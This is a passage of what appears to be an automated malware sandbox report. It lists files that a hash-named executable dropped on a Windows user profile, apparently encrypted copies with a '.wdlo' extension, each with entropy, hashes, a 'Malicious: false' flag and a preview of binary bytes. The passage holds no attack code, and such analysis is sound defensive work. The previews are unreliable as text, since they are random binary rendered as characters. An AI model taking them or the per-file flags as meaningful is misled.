Preview:	NWCXB.I....].!e.l..............@.RH..V..X#zY~..)...aB...mg6.v.m`..sj(.\|@.UY...}..t..7IG...v.......n.0....."ZV#..}...l..![i..-OF.......6....Z...@...R.C%c..h.{.4(.,...i.N..S^..)y\.=...C..n..MXx..5..E-...{)......_(.6 .nL8.B..k.:...Vw;A......HDuQ.f.g,L......^...OHBses7=.f....../. .~b.@...$.M..5.,......\|.R......9.....@..QF..@..1.'?.B...+=.[....T.W3.'...0FJ.... ...~.4r..}.`v.k..Os...=.../.P..+.>..q2......Vhv......pf..#C...$.7.H'f".Y...UN_4p.c..)..~..$_.Te......"]... .".'.9W..`....a.......1..gq....q!C!.mWWp..>...l.fO~...`S...E....;.1..z.{.fD\..$}..[#F5D8....!.FU..M..4...%Z....`.k`.......PUmJ.w!.3/.u..0Q.S.S.t.0+....d.).:.@NF...t)......y.M..G..5r.&..,O\|............8..Hb...r......kjjN..........=C1....'q=..4.Gz...Dk...C.....r.]?...J-.p..k.........#.SL.s".V.E.)..(...j...(.../tg.x6y.%.oL.H...8IP.-...P.!..x;D..`..=FS...`\S.C.o.n'lx......s..F.Vi8....xv3Z..Q...IF.ly...W-..4*.PA...V....Vi%.....l...~....?..g,.r.<...r8...p5...]....1Z........a.M.d......A..M.Yn".

C:\Users\user\Downloads\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838919103524439
Encrypted:	false
SSDEEP:	24:UsOIh2aDP0zWdxkZa49cddsVE4hZqMba/MgK61+ggYIGKkg5HagjCyGxuS21xpE6:Usjh2SR0cTsm4hZqQa0q+ggYJKlHaoCC
MD5:	2EDA1258705961E5BECD14810DA25582
SHA1:	F6ABF2751532935D42ED8879EC2FA4FA04EB3B4C
SHA-256:	31D91C10FDC3862459433215BAE30A4391649A4BE9693509BC2E2546D3D06E11
SHA-512:	98B27AEA78901D1E61E6BE73B679244E42B16D2C797E0A3C564E505A73B8518990505D6BFD0B53FBBA858208F83EB64B58407C22B2CF7B2EFC69D4FEF90B8D49
Malicious:	false
Preview:	NYMMPn.7?.L...g...._?n.@Y.y..>e...fd/E.Q.r.QEB.!.I..7\|.I..[.......K.,..=.\|...i...O.Z.._\|$.......A.y.>.@.p!.\|Md;.V.g.&%b[....ZC...C"...07z.cy..... ^.c.~......./.$...o.s.D..o....a~.r.T....Wv..L...M,........\|J...!.....b.,1....O...>...@.,..x.t.Y<>.nh.=......7..QK8(.oR^.xv5.P....k.S. .R.Tk.R.&m....\|TRG.?.guGf.yO.u.~...^)Q.D3C.gs.T0...OQ..&M.!.B.........2...}..Aw^e.......j+.....8&;(.(.M..I..{`.5..4f......>q.";.g..(...A.. .a.....I\|.ft.t...c..@...l..6.H.~..%.h.g:../.`.Q....?I.H...53......L.%.l.j.N.V{v...`?.wp..B.3.h...M.......u..q....'[...a...R...`/\R1.......S.@..j...Z@<.....Q)..E.TORe.f..M]).T2A..l...K...".@....D/.8..~....5]m]3.v9?.........v.%.2..xD..{.....Rs.>... \|..<...yZ.e...p.....ud6...-t.M.....O.....T.\..+.E.Y......k.?IsD.C.D.....n...y.^-.^.x.,.Q>..w...KdL.!....5...@QKK+...K..bX\......@...Q.en...%.g..H-..D..vm.,.@.@...A.....uk.....$N...A.%..d....E@..J..i&+.Q%Ap..;..S..g.J.Z.-.'....7......i.*.......r.6J.........D.p[..?$..@....$mb

C:\Users\user\Downloads\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838919103524439
Encrypted:	false
SSDEEP:	24:UsOIh2aDP0zWdxkZa49cddsVE4hZqMba/MgK61+ggYIGKkg5HagjCyGxuS21xpE6:Usjh2SR0cTsm4hZqQa0q+ggYJKlHaoCC
MD5:	2EDA1258705961E5BECD14810DA25582
SHA1:	F6ABF2751532935D42ED8879EC2FA4FA04EB3B4C
SHA-256:	31D91C10FDC3862459433215BAE30A4391649A4BE9693509BC2E2546D3D06E11
SHA-512:	98B27AEA78901D1E61E6BE73B679244E42B16D2C797E0A3C564E505A73B8518990505D6BFD0B53FBBA858208F83EB64B58407C22B2CF7B2EFC69D4FEF90B8D49
Malicious:	false
Preview:	NYMMPn.7?.L...g...._?n.@Y.y..>e...fd/E.Q.r.QEB.!.I..7\|.I..[.......K.,..=.\|...i...O.Z.._\|$.......A.y.>.@.p!.\|Md;.V.g.&%b[....ZC...C"...07z.cy..... ^.c.~......./.$...o.s.D..o....a~.r.T....Wv..L...M,........\|J...!.....b.,1....O...>...@.,..x.t.Y<>.nh.=......7..QK8(.oR^.xv5.P....k.S. .R.Tk.R.&m....\|TRG.?.guGf.yO.u.~...^)Q.D3C.gs.T0...OQ..&M.!.B.........2...}..Aw^e.......j+.....8&;(.(.M..I..{`.5..4f......>q.";.g..(...A.. .a.....I\|.ft.t...c..@...l..6.H.~..%.h.g:../.`.Q....?I.H...53......L.%.l.j.N.V{v...`?.wp..B.3.h...M.......u..q....'[...a...R...`/\R1.......S.@..j...Z@<.....Q)..E.TORe.f..M]).T2A..l...K...".@....D/.8..~....5]m]3.v9?.........v.%.2..xD..{.....Rs.>... \|..<...yZ.e...p.....ud6...-t.M.....O.....T.\..+.E.Y......k.?IsD.C.D.....n...y.^-.^.x.,.Q>..w...KdL.!....5...@QKK+...K..bX\......@...Q.en...%.g..H-..D..vm.,.@.@...A.....uk.....$N...A.%..d....E@..J..i&+.Q%Ap..;..S..g.J.Z.-.'....7......i.*.......r.6J.........D.p[..?$..@....$mb

C:\Users\user\Downloads\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846974563447255
Encrypted:	false
SSDEEP:	24:uXnTYZOH9jfV1XEQ/mNoI6mRtO4ZLjd8OfKVD15I+lfNE5H0B826Q9OQVyjdRjQT:hM9jbXEFoIRQ4d9fKVXDURK82BOQVIQT
MD5:	E0C9C35C75693BDE6EB909F6825990B0
SHA1:	C03DD5BBD34D7024ADBCD1A1AA3683D3F06F0BE2
SHA-256:	88135D93D858AB8E902180AA16399470E8E0E2C4CAC7E57990BFA5DCB8088409
SHA-512:	F27E21D0CED7D4F9471384BB5012DF6373964DE614E074338E4A0B623AD9AD2D386433B3106022FB86256D7FA1C345B11407CDDC24C8B5FF097D9626DF9D48D8
Malicious:	false
Preview:	PALRG9J.....bs....K-f7B...tEi .Mx.R.~0..'...#..p.#.Q..Zl5..!..G8....?.........v....J+_.>P.p.`U@n.....W.0...7..}N.E\|....J.:..w>P.......\|q..5{.(....F."a..!.....\..U..Xc..R..{R..v..z..(.....I..@.+(..4....0....[.3.\...qs[;h...8.D.z.V~ow...9U~8C. Es3aDL....1/H."@J..Al..n..C.A.t....=..8.C..^6.m......G.Y.....q.q.._G..&.. .....{d.....ax?0..>.].&iDU...mh.r.>..\|ari......x/RX..8..B.~....U.xL..F..CBZ.^.....vG~....XB..I.`BYE(-.@.O.E.g..[...#No1..V..)[...+.'2....#.5...W..4....]........k}?.......%..Ka].2...;\.QlN_...<w.Ms......!.V.b`.G..D.".Q~1...!.~..p........N.(..C.r$=\...._.{bn.'..J......P5.0../.'?&.dKWd...Qm.r..(..JM.BA.>{.T...@...=+f~..a&g..:.>...X$3...T.6...8.(...&-..Q...XWM..l..._.r...4..xC..!.`l.).$..F]B.z.S.nv.S..v.D.o...yN..U....k._.r...`.....?.g..q.r..Y6%4+x....P.@.9.[c..J.x.V.....[+....'...7..7!.".[.....#.......4....V..../.......q.q.....S.....!..b....=o.+'j.~p.._.,GI......O...t..+.3*V#N.O...E..V}.~..U......rvm...v.D.....2C..{.4..[-.T..q....0e...

C:\Users\user\Downloads\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846974563447255
Encrypted:	false
SSDEEP:	24:uXnTYZOH9jfV1XEQ/mNoI6mRtO4ZLjd8OfKVD15I+lfNE5H0B826Q9OQVyjdRjQT:hM9jbXEFoIRQ4d9fKVXDURK82BOQVIQT
MD5:	E0C9C35C75693BDE6EB909F6825990B0
SHA1:	C03DD5BBD34D7024ADBCD1A1AA3683D3F06F0BE2
SHA-256:	88135D93D858AB8E902180AA16399470E8E0E2C4CAC7E57990BFA5DCB8088409
SHA-512:	F27E21D0CED7D4F9471384BB5012DF6373964DE614E074338E4A0B623AD9AD2D386433B3106022FB86256D7FA1C345B11407CDDC24C8B5FF097D9626DF9D48D8
Malicious:	false
Preview:	PALRG9J.....bs....K-f7B...tEi .Mx.R.~0..'...#..p.#.Q..Zl5..!..G8....?.........v....J+_.>P.p.`U@n.....W.0...7..}N.E\|....J.:..w>P.......\|q..5{.(....F."a..!.....\..U..Xc..R..{R..v..z..(.....I..@.+(..4....0....[.3.\...qs[;h...8.D.z.V~ow...9U~8C. Es3aDL....1/H."@J..Al..n..C.A.t....=..8.C..^6.m......G.Y.....q.q.._G..&.. .....{d.....ax?0..>.].&iDU...mh.r.>..\|ari......x/RX..8..B.~....U.xL..F..CBZ.^.....vG~....XB..I.`BYE(-.@.O.E.g..[...#No1..V..)[...+.'2....#.5...W..4....]........k}?.......%..Ka].2...;\.QlN_...<w.Ms......!.V.b`.G..D.".Q~1...!.~..p........N.(..C.r$=\...._.{bn.'..J......P5.0../.'?&.dKWd...Qm.r..(..JM.BA.>{.T...@...=+f~..a&g..:.>...X$3...T.6...8.(...&-..Q...XWM..l..._.r...4..xC..!.`l.).$..F]B.z.S.nv.S..v.D.o...yN..U....k._.r...`.....?.g..q.r..Y6%4+x....P.@.9.[c..J.x.V.....[+....'...7..7!.".[.....#.......4....V..../.......q.q.....S.....!..b....=o.+'j.~p.._.,GI......O...t..+.3*V#N.O...E..V}.~..U......rvm...v.D.....2C..{.4..[-.T..q....0e...

C:\Users\user\Downloads\QCOILOQIKC.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8501320752536365
Encrypted:	false
SSDEEP:	24:T3QMmhL1asw3nXLa7n/OcPn7AObH4+f5mUlT/unU83zbD:cMu2cP7As40l83nD
MD5:	D1F032B5A9E71DF526BBBB3AFD765033
SHA1:	1EDB6E9862DD193E29679AE9A46D9BB969A1630D
SHA-256:	B7C19810C1C6B912AF5BCB09B4D987CCAD1FD8647F4C2D6070BDA8F240AF4ECD
SHA-512:	E374C2C2B59084D8519B32D08CFD53DF6F98A4289B06CBFCF122377F24243BC657048F018704EBC675B719AD88021279CE5C69A87E2ADA4D3EC6BCC8C9873E77
Malicious:	false
Preview:	QCOIL.SP.......1.....nq.V....3.at.&...m.O2.aG..p{V{.k.......$.3..P...'........``......?a...m_.l@...3....(.].Zi.....4..t.\vj.)..V@.D..&..mA..].T..E..g.0.\e.j.]Q..'.....r..=....7..x..W..H.....S2"..%(...8..~.Zr...t.'-..w....1.._.._...~.....5}....<2.3Z\..C]..(...........,j.ufr......;".1...?....8c.3]1&1x....$&y..\|NEx.9...c.{......M5.a...B.....cY....@M.17x^<..a.Y.....W..!.....0...0......A.-o.r...8...?....Ur.V.-...-..EQ....B.&..).V......"Z......#VP...xa,gsp..[..Go..,.f#.I....-.....l.Gox..kL.AoY....zz.....Y...~B.-.V...fWS.si.(.iq&"t.(.OU.f.3..e\|ju.'P'`....V..dl.\Pc......V.?3....By......+V0...O...KN....../..../R.l.f.)S.W..uN]..HT.F.Y..Y...u.....-..l..s...F5.#z.3...6.C)".,b.).....h%...".]Q.~V..W.x.m....)....E`......+.j.>.J`BcW;d.......q...p..X..2..X..ja.,...'.....!V~..Z>...54.,(n..1H..oI..r..D..{......c..xeu.#...N.o$..kh.].r..N.C08 ..w....0.`..1.....p.._ev..~.X..8P..j...7..N......eC.J...?7#.....K........X......H...}.c..^....F.y...\.....

C:\Users\user\Downloads\QCOILOQIKC.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8501320752536365
Encrypted:	false
SSDEEP:	24:T3QMmhL1asw3nXLa7n/OcPn7AObH4+f5mUlT/unU83zbD:cMu2cP7As40l83nD
MD5:	D1F032B5A9E71DF526BBBB3AFD765033
SHA1:	1EDB6E9862DD193E29679AE9A46D9BB969A1630D
SHA-256:	B7C19810C1C6B912AF5BCB09B4D987CCAD1FD8647F4C2D6070BDA8F240AF4ECD
SHA-512:	E374C2C2B59084D8519B32D08CFD53DF6F98A4289B06CBFCF122377F24243BC657048F018704EBC675B719AD88021279CE5C69A87E2ADA4D3EC6BCC8C9873E77
Malicious:	false
Preview:	QCOIL.SP.......1.....nq.V....3.at.&...m.O2.aG..p{V{.k.......$.3..P...'........``......?a...m_.l@...3....(.].Zi.....4..t.\vj.)..V@.D..&..mA..].T..E..g.0.\e.j.]Q..'.....r..=....7..x..W..H.....S2"..%(...8..~.Zr...t.'-..w....1.._.._...~.....5}....<2.3Z\..C]..(...........,j.ufr......;".1...?....8c.3]1&1x....$&y..\|NEx.9...c.{......M5.a...B.....cY....@M.17x^<..a.Y.....W..!.....0...0......A.-o.r...8...?....Ur.V.-...-..EQ....B.&..).V......"Z......#VP...xa,gsp..[..Go..,.f#.I....-.....l.Gox..kL.AoY....zz.....Y...~B.-.V...fWS.si.(.iq&"t.(.OU.f.3..e\|ju.'P'`....V..dl.\Pc......V.?3....By......+V0...O...KN....../..../R.l.f.)S.W..uN]..HT.F.Y..Y...u.....-..l..s...F5.#z.3...6.C)".,b.).....h%...".]Q.~V..W.x.m....)....E`......+.j.>.J`BcW;d.......q...p..X..2..X..ja.,...'.....!V~..Z>...54.,(n..1H..oI..r..D..{......c..xeu.#...N.o$..kh.].r..N.C08 ..w....0.`..1.....p.._ev..~.X..8P..j...7..N......eC.J...?7#.....K........X......H...}.c..^....F.y...\.....

C:\Users\user\Downloads\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85590366097049
Encrypted:	false
SSDEEP:	24:TXDbtoFO9vBcMH7CvSs0DPe/2ep0PHdEp1x9G9QMAzOm3GEjTPip5l8iyw3zbD:Tzbtoub7CvSjPe/3p0a1x9G9QMuTPjTk
MD5:	FF84627D3E3E20C7323C5A1D09A48F62
SHA1:	FCA8F55E7500D85F0EAC2CC2DCA758E62FA8933B
SHA-256:	8D7DC27DBC6716CCFCA7203ED4B38138DF6C9DFD6838A6F8291F489844EBC82D
SHA-512:	793DAF72E9ED02C56990CC006A608CB08795831A2B06E8ED04EABB42C37C779EBD2BCC01E6FB507572E449900A1B8D4D30BB22E92D76CF21DB10B5969EEC7FFF
Malicious:	false
Preview:	ZGGKN.4.. \\|x.B..9...\|....N.X.....0.......\.P.b.......5......]h=.Cd..."y1Gq...,...>I...4bh._[}.v.Wa!...o.xu..........9diw...b.]....N....{S.:>'.^...G..a.MmS..z.~.....]-.c..\|i.."..UX.....!...`.r{....aJk^..T!H.....n.&.....7.U..VZe..s_..G5..:..7..'p.^B.......I....C..j......#]..t8I...O.n..O...6~3(..[.P..g.w..b..S6.......ds9WZ."&.L.._$C.%...r.Q...v.1........sa....lE.;.."B5...x..@.N..FD.....1lH..;.....m..._v.?.D.D.U.B_4Z.?@q...PE.O.hZ..!.w...._.<..k.-..V`.......!....Vv......L...M...f..-O;LE....RR....d\|.%..+.....J..A..t.2.if.%.1.9.{z.......J..a.Cr.rL.IE..qFbZ#G......l...6......4[t..>}w..u..9"...g.u.A...B..$.6K.F......5..... H...z[...W\.H9.uw.Q.08H...(B........]g;2.....uQ...E..z,..6..t...?<N>...K.I.1.....l..x.>iD........\|...K.?L..&B..IS.JLb.....]....5.....>,NO....V\.E4......f........B..<.w.....cf ..O.V..f_MKkd_,..]+L.... yC\|.=....:7(Q...<....F$R.^....r.....qA. ];.(....A".~:F.O.]2J..r...[.......a.i<%.e...k.....V.......I.=P.......+ c..0.'

C:\Users\user\Downloads\ZGGKNSUKOP.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85590366097049
Encrypted:	false
SSDEEP:	24:TXDbtoFO9vBcMH7CvSs0DPe/2ep0PHdEp1x9G9QMAzOm3GEjTPip5l8iyw3zbD:Tzbtoub7CvSjPe/3p0a1x9G9QMuTPjTk
MD5:	FF84627D3E3E20C7323C5A1D09A48F62
SHA1:	FCA8F55E7500D85F0EAC2CC2DCA758E62FA8933B
SHA-256:	8D7DC27DBC6716CCFCA7203ED4B38138DF6C9DFD6838A6F8291F489844EBC82D
SHA-512:	793DAF72E9ED02C56990CC006A608CB08795831A2B06E8ED04EABB42C37C779EBD2BCC01E6FB507572E449900A1B8D4D30BB22E92D76CF21DB10B5969EEC7FFF
Malicious:	false
Preview:	ZGGKN.4.. \\|x.B..9...\|....N.X.....0.......\.P.b.......5......]h=.Cd..."y1Gq...,...>I...4bh._[}.v.Wa!...o.xu..........9diw...b.]....N....{S.:>'.^...G..a.MmS..z.~.....]-.c..\|i.."..UX.....!...`.r{....aJk^..T!H.....n.&.....7.U..VZe..s_..G5..:..7..'p.^B.......I....C..j......#]..t8I...O.n..O...6~3(..[.P..g.w..b..S6.......ds9WZ."&.L.._$C.%...r.Q...v.1........sa....lE.;.."B5...x..@.N..FD.....1lH..;.....m..._v.?.D.D.U.B_4Z.?@q...PE.O.hZ..!.w...._.<..k.-..V`.......!....Vv......L...M...f..-O;LE....RR....d\|.%..+.....J..A..t.2.if.%.1.9.{z.......J..a.Cr.rL.IE..qFbZ#G......l...6......4[t..>}w..u..9"...g.u.A...B..$.6K.F......5..... H...z[...W\.H9.uw.Q.08H...(B........]g;2.....uQ...E..z,..6..t...?<N>...K.I.1.....l..x.>iD........\|...K.?L..&B..IS.JLb.....]....5.....>,NO....V\.E4......f........B..<.w.....cf ..O.V..f_MKkd_,..]+L.... yC\|.=....:7(Q...<....F$R.^....r.....qA. ];.(....A".~:F.O.]2J..r...[.......a.i<%.e...k.....V.......I.=P.......+ c..0.'

C:\Users\user\Downloads\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853930766743043
Encrypted:	false
SSDEEP:	24:kTsr70mISsaRzWK2r0nn9W39KIgwgAPLhd1i+BWVzxckTYTu1SbrmhmrH9B3zbD:PZzqYnukIiGLhdA+BS1jIasyIB3nD
MD5:	E0441E3C59B9B4000DD6A634A5792614
SHA1:	A9B4523877E03DCAD09448B930B50C68B60A1A7F
SHA-256:	FD1D2E3502FAF3D89541E80AB1370C9493286834F3C7FDFFA0E4D9F48C649069
SHA-512:	65A46FE81E79FDB99DA58877A04F92B980E9E27E980621E6E323B2A8D7E63F3D99920AC375EDBC66690797732A57B8F653D108AAAD5664E5F9DB8EBA8D6CB02F
Malicious:	false
Preview:	ZGGKN.1.-.s.]\|8...3.r..K..C.7+..5..@8.Hj....nk.7....'}....sts....6..>.l..7=...\.f/C...NX......$K.W.D....iS.$i.........H?}L.l.6 ,]......RU$.m......F.vZ<......7^...eT.&,$.q....3Y[.......3.]k{..i.=j.y.....n.3.......+[..>....D...w...2C........5......i..;.qY1..pI.........HJU.kR.B8....`.....a...o...[..b.....T.....r...pN..f.5......?mZ..C.a.03.+lK..\>..!..\....Y3J.<4<.4..p."...kc...t... a.....V.f.....z4._j.b..9/)....y..\|.A.f.....k....i.H.P#.-...i.......f0#H]..AC.\|...~T.i#2..Ld...[....^0.!....lo...p..7......3..fS........N.a.G@..!,....^\|....(.V..T.>..\z....1..I...1./.9....h..lv.......i.`:...M...Up.\|....M..[...,.-e...!..m..B.......".......U..kQ...C.....7.e.Y.>...R....5v.K...(.B."j...aI+..!..U.u.%.f..8e}\|.)T..;...#......1....\&..oU.H.9.d.x..C{.5......w.sX...N\|JhNH.e.. Z...Kv=.i.H.W._..]..V.I.L...w........B.2ctDep0.j..jT2.a...N.<'u4.......{..hpC.CI..u,-....f..0D..9.../k....[)......Q_]n..f.U..c[.....^@<.....6..k..O..~..FD.Fb.P,\|?...&..u...F

C:\Users\user\Downloads\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853930766743043
Encrypted:	false
SSDEEP:	24:kTsr70mISsaRzWK2r0nn9W39KIgwgAPLhd1i+BWVzxckTYTu1SbrmhmrH9B3zbD:PZzqYnukIiGLhdA+BS1jIasyIB3nD
MD5:	E0441E3C59B9B4000DD6A634A5792614
SHA1:	A9B4523877E03DCAD09448B930B50C68B60A1A7F
SHA-256:	FD1D2E3502FAF3D89541E80AB1370C9493286834F3C7FDFFA0E4D9F48C649069
SHA-512:	65A46FE81E79FDB99DA58877A04F92B980E9E27E980621E6E323B2A8D7E63F3D99920AC375EDBC66690797732A57B8F653D108AAAD5664E5F9DB8EBA8D6CB02F
Malicious:	false
Preview:	ZGGKN.1.-.s.]\|8...3.r..K..C.7+..5..@8.Hj....nk.7....'}....sts....6..>.l..7=...\.f/C...NX......$K.W.D....iS.$i.........H?}L.l.6 ,]......RU$.m......F.vZ<......7^...eT.&,$.q....3Y[.......3.]k{..i.=j.y.....n.3.......+[..>....D...w...2C........5......i..;.qY1..pI.........HJU.kR.B8....`.....a...o...[..b.....T.....r...pN..f.5......?mZ..C.a.03.+lK..\>..!..\....Y3J.<4<.4..p."...kc...t... a.....V.f.....z4._j.b..9/)....y..\|.A.f.....k....i.H.P#.-...i.......f0#H]..AC.\|...~T.i#2..Ld...[....^0.!....lo...p..7......3..fS........N.a.G@..!,....^\|....(.V..T.>..\z....1..I...1./.9....h..lv.......i.`:...M...Up.\|....M..[...,.-e...!..m..B.......".......U..kQ...C.....7.e.Y.>...R....5v.K...(.B."j...aI+..!..U.u.%.f..8e}\|.)T..;...#......1....\&..oU.H.9.d.x..C{.5......w.sX...N\|JhNH.e.. Z...Kv=.i.H.W._..]..V.I.L...w........B.2ctDep0.j..jT2.a...N.<'u4.......{..hpC.CI..u,-....f..0D..9.../k....[)......Q_]n..f.U..c[.....^@<.....6..k..O..~..FD.Fb.P,\|?...&..u...F

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.477425958690673
Encrypted:	false
SSDEEP:	12:Dw/61dahYfSLXJC7koqnKDwa8pKKdrvFj4oRzN36Wcii9a:Dw6ahPLQ7kodDwZvFjB53zbD
MD5:	D0364DC69956256C69DB00293D41428B
SHA1:	7FF7DD8D265CA2A4D0A55928DB33DE4C2D452772
SHA-256:	66C5BB2A1D2FBCE4D86CD1D77A19B3AD1B2DD12F293C7411DD528F8D71346D79
SHA-512:	30624BC9A9C96B0AE7D9A8BBBD787194D5DAE4A157C46695D3BA11D4A2C179322DB410AA85B3CC9FBCB8E1CD389CA86C98731693B37DA4EA8F0E2F437157A7BF
Malicious:	false
Preview:	[{000..Z1.-.AHN,>..4.i.a.tx..A...dr..,.u.M..a.T..Y..^A.*C8.s...2.........@........r.(G...de..flH.>.2....o...._.tx.b.MH?..,......$.x..XA7bUZ8TZ.#?V.MoSK.....N. Q..3..z.x.d}f....I._.L~.T..\.2.\<?.u@\g.................U.y..X._.F,.W..)....Be......<\|>.o.F....r9R:3...u`./T~JO$...A.......m.$Aq.~...=#.A..{U..3h....f-.V.~..............y..U.K\.B.../.i.+.B..mi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.477425958690673
Encrypted:	false
SSDEEP:	12:Dw/61dahYfSLXJC7koqnKDwa8pKKdrvFj4oRzN36Wcii9a:Dw6ahPLQ7kodDwZvFjB53zbD
MD5:	D0364DC69956256C69DB00293D41428B
SHA1:	7FF7DD8D265CA2A4D0A55928DB33DE4C2D452772
SHA-256:	66C5BB2A1D2FBCE4D86CD1D77A19B3AD1B2DD12F293C7411DD528F8D71346D79
SHA-512:	30624BC9A9C96B0AE7D9A8BBBD787194D5DAE4A157C46695D3BA11D4A2C179322DB410AA85B3CC9FBCB8E1CD389CA86C98731693B37DA4EA8F0E2F437157A7BF
Malicious:	false
Preview:	[{000..Z1.-.AHN,>..4.i.a.tx..A...dr..,.u.M..a.T..Y..^A.*C8.s...2.........@........r.(G...de..flH.>.2....o...._.tx.b.MH?..,......$.x..XA7bUZ8TZ.#?V.MoSK.....N. Q..3..z.x.d}f....I._.L~.T..\.2.\<?.u@\g.................U.y..X._.F,.W..)....Be......<\|>.o.F....r9R:3...u`./T~JO$...A.......m.$Aq.~...=#.A..{U..3h....f-.V.~..............y..U.K\.B.../.i.+.B..mi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.577430967787054
Encrypted:	false
SSDEEP:	12:R9WGX0bqkhxh8jqGBovjLt3eJgTE17cIa7kETotPFW59n36Wcii9a:TvgqEDWqxbpOWsn6gtPFW5t3zbD
MD5:	EB3AF852FC3C9719461B0A1DA8980C14
SHA1:	78FEA51C9A7A60838F43D7497BEB390640843E84
SHA-256:	229339789CF9D92BC1442A483A91D1B83B4EBC6CB77971A7E0A82C3FBFF33DC3
SHA-512:	393E4C4B39EB71013601CD83BFD0ED38BEB480FFB6AD2465352AA63B11C93CE30A0AF29D1D9167B9F28399F1A417B89148750AD0F2212B5F6C4EA5CF3754A55C
Malicious:	false
Preview:	[{000.jo.{\|..L....1...i.+.\|.=u..I.s..q.`.....j....??p=...v...n..9{h.!V.kf..<;.L..d[Jd.;..U!.L..hfZ.o.......;.%....P....#...... C.L,r_.=......R.8...]...O.I..).(..Zk......$0.=.zF.....#...;...{T..'<s31....X..`....A.z{f2O.(2......l.o..W.)?.\|dh....S40.qc.F#o..K.7..:.._..eb.)i/......Y....2...Y......$d......#.!8li8.h....\.cN.......(%..u.4.....v.l.....&.,.k........./.....U..I....ks.f...Kr......../=P.".....Y...u...{M.....WE...Vg..+4v...H....F..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.577430967787054
Encrypted:	false
SSDEEP:	12:R9WGX0bqkhxh8jqGBovjLt3eJgTE17cIa7kETotPFW59n36Wcii9a:TvgqEDWqxbpOWsn6gtPFW5t3zbD
MD5:	EB3AF852FC3C9719461B0A1DA8980C14
SHA1:	78FEA51C9A7A60838F43D7497BEB390640843E84
SHA-256:	229339789CF9D92BC1442A483A91D1B83B4EBC6CB77971A7E0A82C3FBFF33DC3
SHA-512:	393E4C4B39EB71013601CD83BFD0ED38BEB480FFB6AD2465352AA63B11C93CE30A0AF29D1D9167B9F28399F1A417B89148750AD0F2212B5F6C4EA5CF3754A55C
Malicious:	false
Preview:	[{000.jo.{\|..L....1...i.+.\|.=u..I.s..q.`.....j....??p=...v...n..9{h.!V.kf..<;.L..d[Jd.;..U!.L..hfZ.o.......;.%....P....#...... C.L,r_.=......R.8...]...O.I..).(..Zk......$0.=.zF.....#...;...{T..'<s31....X..`....A.z{f2O.(2......l.o..W.)?.\|dh....S40.qc.F#o..K.7..:.._..eb.)i/......Y....2...Y......$d......#.!8li8.h....\.cN.......(%..u.4.....v.l.....&.,.k........./.....U..I....ks.f...Kr......../=P.".....Y...u...{M.....WE...Vg..+4v...H....F..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

